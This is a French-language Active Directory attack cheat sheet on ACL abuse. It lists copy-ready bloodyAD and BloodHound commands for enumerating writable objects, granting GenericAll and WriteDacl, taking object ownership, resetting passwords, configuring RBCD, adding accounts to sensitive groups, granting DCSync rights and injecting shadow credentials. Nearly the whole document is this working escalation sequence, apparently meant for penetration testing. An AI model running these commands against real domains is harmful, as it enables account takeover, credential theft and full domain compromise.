ACL & GPO

ACL Abuse

GenericAll, WriteDacl, owner takeover, AddMember et shadow credentials pour escalade via les ACLs.

Recon ACL

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get writable --detail

Description: Lister tous les objets AD et attributs réellement modifiables par l'utilisateur courant.

Copy command
bloodhound-python -u $USER -p $PASS -d $DOMAIN -ns $DC -c All --zip

Description: Collecte BloodHound pour visualiser les chemins ACL en graphe, indispensable avant abus.

GenericAll & GenericWrite

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add genericAll '$TARGET_USER' '$USER'

Description: Accorder GenericAll à notre compte sur la cible : contrôle total de l'objet.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS set object '$TARGET_USER' --attribute userPassword --value '$NEWPASS'

Description: Réinitialiser le mot de passe via GenericAll ou ForceChangePassword sans connaître l'ancien.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add rbcd '$TARGET_COMPUTER$' '$USER$'

Description: Via GenericWrite sur un objet machine : configurer RBCD pour une escalade silencieuse.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS set object '$TARGET_USER' --attribute unicodePwd

Description: Modifier unicodePwd directement si on a GenericWrite ou WriteProperty dessus.

WriteDacl & Owner Takeover

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS set owner '$TARGET' '$USER'

Description: Prendre le ownership sur l'objet cible : prérequis pour modifier ensuite les DACLs.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add WriteDacl '$TARGET' '$USER'

Description: S'accorder WriteDacl pour pouvoir modifier librement les ACEs de l'objet.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add dcsync '$USER'

Description: Finaliser par les droits DCSync via WriteDacl sur la racine du domaine.

AddMember & Shadow Credentials

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add member '$GROUP' '$USER'

Description: Ajouter notre compte à un groupe sensible via AddMember (ou GenericAll sur le groupe).

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get members '$GROUP'

Description: Vérifier que l'ajout est effectif avant de continuer.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS add shadowCredentials '$TARGET_USER'

Description: Injecter un KeyCredential : prendre le contrôle du compte sans modifier son mot de passe.

Copy command
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get object '$TARGET_USER' --attr msDS-KeyCredentialLink

Description: Vérifier la présence de shadow credentials sur un objet avant ou après injection.